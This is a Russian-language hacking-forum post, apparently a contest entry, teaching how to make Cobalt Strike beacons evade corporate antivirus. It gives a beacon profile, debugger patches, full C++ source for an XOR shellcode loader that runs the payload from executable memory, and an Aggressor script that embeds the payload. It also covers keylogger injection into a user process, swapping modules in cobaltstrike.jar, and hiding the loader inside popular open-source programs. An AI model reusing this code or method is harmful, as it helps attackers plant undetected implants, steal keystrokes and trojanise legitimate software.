CobaltStrike от А до Я (3 часть.)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Вообще существует в проекте 3+ статьи, но в конкурсе будет участвовать одна, а именно 3 статья.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.

Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.
Код: Скопировать в буфер обмена
Код:
stage {
    set allocator           "HeapAlloc";    
    set name                "winrar.dll";
    set module_x86          "mshtml.dll";
    set checksum            "0";
    set entry_point         "180000";
    set image_size_x86      "5977600";
    set userwx                 "false";
    set cleanup                "true";
    set stomppe                "true";
    set obfuscate            "true";
    set rich_header         "";
    
    set sleep_mask          "true";
    set smartinject         "true";

    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "getIndex"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
}

Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:
3-1.png



Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...
3-2.png



Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:
Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
Нажмите, чтобы раскрыть...
Или, например, sleep_mask:
Код: Скопировать в буфер обмена
Obfuscate Beacon, in-memory, prior to sleeping
Но на практике банальное сканирование памяти, сводит на нет реализацию данных опций в профиле.
ВАЖНО: стоит также отметить, что сейчас антивирусы имеют на борту сканеры памяти, которые не нужно вручную запускать, они все сами сделают и предотвратят угрозу даже не спрашивая юзера.
Нажмите, чтобы раскрыть...

Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.
ВАЖНО: многие, не понимая истиной причины детектов антивирусами начинают винить крипт, но как видим на практике крипт здесь позволил зловреду запуститься без проблем, но так как сам маяк(beacon) не чистится автором CobaltStrike мы имеем в результате плачевный результат.
Нажмите, чтобы раскрыть...
Стоит также отметить, что это не единичная проблема, я также некоторые проблемы затрагиваю в первой и во второй статьях. (в частности, атаки на командный сервер...)

Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:

3-3.png



У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:
Код: Скопировать в буфер обмена
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     E8 09FBFFFF             CALL 004027F0
00402CE7     C70424 00000000         MOV DWORD PTR SS:[ESP],0
00402CEE     E8 4DEBFFFF             CALL 00401840
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9

Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:
Код: Скопировать в буфер обмена
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     90                      NOP
00402CE3     90                      NOP
00402CE4     90                      NOP
00402CE5     90                      NOP
00402CE6     90                      NOP
00402CE7     90                      NOP
00402CE8     90                      NOP
00402CE9     90                      NOP
00402CEA     90                      NOP
00402CEB     90                      NOP
00402CEC     90                      NOP
00402CED     90                      NOP
00402CEE     90                      NOP
00402CEF     90                      NOP
00402CF0     90                      NOP
00402CF1     90                      NOP
00402CF2     90                      NOP
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9
Таким образом артефакт будет находиться в памяти в вечном цикле, и при этом у нас не отработает код payload
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.

Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.
ВАЖНО: стоит отметить, что после такой чистки нам даже не нужен будет мегаприватный крипт, а мы ведь знаем, что, когда нужен срочно такой крипт... его как обычно хрен найдешь - ЗАКОН ПОДЛОСТИ. А также будет экономия денег на крипте.
Нажмите, чтобы раскрыть...

В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):
Код: Скопировать в буфер обмена
Код:
set EXECUTABLE_ARTIFACT_GENERATOR {
}
Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/aggressor-script/hooks.html
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.
Код: Скопировать в буфер обмена
Код:
#include <Windows.h>

#define DATA_SIZE 0x46000

#pragma pack(1)
typedef struct DATA {
    BYTE XKEY;
    DWORD size;
    BYTE payload[0];
} DATA, *PDATA;
#pragma pack()

typedef void(__cdecl *START)();

#pragma comment(linker, "/entry:EntryPoint")

#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#pragma data_seg()

int __cdecl EntryPoint()
{
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    PDATA pdata = (PDATA)&data[0];
    BYTE XKEY = pdata->XKEY;
    DWORD size = pdata->size;
    for(DWORD i = 0; i < size; i++)
    {
        buffer[i] = pdata->payload[i]^XKEY;
    }

    START start = (START)buffer;
    start();

    return 0;
}
Теперь нужно пояснить некоторые моменты в этом коде.
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.
ВАЖНО: хотелось бы сказать, что это всего лишь пример, как можно сделать, и так как этот код попал в паблик, естественно он будет уже детектиться!
Но этот код всегда можно модифицировать или использовать другой компилятор, ну например, delphi я бы его и посоветовал, так как там можно такие вещи сотворить, что антивирусы не смогут угнаться за сгенерированными рандомными сэмплами.
Все зависит только от вас и вашей фантазии.
для примера, воспринимайте это как совет: можно зайти, ну например, на github.com (или на другой подобный сайт sourceforge.net их в сети много) и попробовать поискать исходники какой-нибудь маленькой популярной программы, там обычно еще в придачу будет написано как скомпилить эту софтину, так вот берете и вставляете в нее этот код что выше, меняете где-нибудь вначале от точки входа, на код чтобы был запуск в отдельном потоке кода стаба и все, даже ничего не нужно придумывать, все за нас уже давно сделали... и пусть потом (заслуженные ветераны труда) антивирусные специалисты добавляют этот софт в свои базы антивирусов, чтобы у них были постоянные ложные детекты и жалобы от их недовольных пользователей. Нам на наш век опенсорса хватит. :)
Нажмите, чтобы раскрыть...

Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:
Код: Скопировать в буфер обмена
Код:
# Arguments
#     $1 = artifact file (e.g., artifact32.exe)
#     $2 = shellcode
# Return 
#    our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$handle $stub $key $index $payload $resname $buffer $edata $x');
    ($resname, $payload) = @_;

    # read in the executable template
    $handle = openf("C:\\CS43\\resources\\Stub.x86.exe");
    $stub = readb($handle, -1);
    closef($handle);
    
    # generate a random key
    $key = @();
    $key[0] = int(rand() * 253) + 1;
    
    # pack data into a buffer 
    $buffer = allocate(1024);

    # [xor key] - 1 byte
    writeb($buffer, chr($key[0]));

    # [length of payload] - 4 bytes
    writeb($buffer, pack("i-", strlen($payload)));

    # find the location of our data in the executable
    $index = indexOf($stub, 'A' x 1024);
    
    # pack our encoded payload into the buffer
    for ($x = 0; $x < strlen($payload); $x++) {
        writeb($buffer, chr((byteAt($payload, $x) ^ $key[0]) & 0xFF ));
    }
    
    # retrieve the contents of the buffer.
    closef($buffer);
    $edata = readb($buffer, -1);

    # return our encoded shellcode.
    return replaceAt($stub, $edata, $index);
}
Просьба не пугаться - это модифицированный скрипт из стандартного пакета скриптов Artifact Kit (Perl он и в Африке Perl пусть даже и называется Sleep) и этот код скрипта специально адаптирован под код нового стаба.
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать... :)

======================================================================================

Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.

Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.
Код: Скопировать в буфер обмена
ВАЖНО: Разные антивирусы реагируют по-разному на различные модули CobaltStrike'а, все зависит от обстоятельств и различных нюансов... (а вообще детект детекту рознь, сегодня на радаре антивирусов ничего нет, а уже через час или два какой-нибудь модуль CobaltStrike'а может светиться детектами как новогодняя елка.)
И здесь я хочу пояснить на маленьком примере, как происходить будет подобный детект...
Для примера, давайте посмотрим на скриншот ниже:

3-4.png



Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:

3-5.png



Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o

Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:
Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc.
Нажмите, чтобы раскрыть...
Нам предоставляют возможность сделать выбор. Но в реале, это указывает CobaltStrike взять файл *.o из ресурсов, а именно из директории sleeve файл BeaconLoader.HA.x86.o (если мы указали значение HeapAlloc для allocator в нашем профиле)
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.

Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно Скачать
 
Сверху Снизу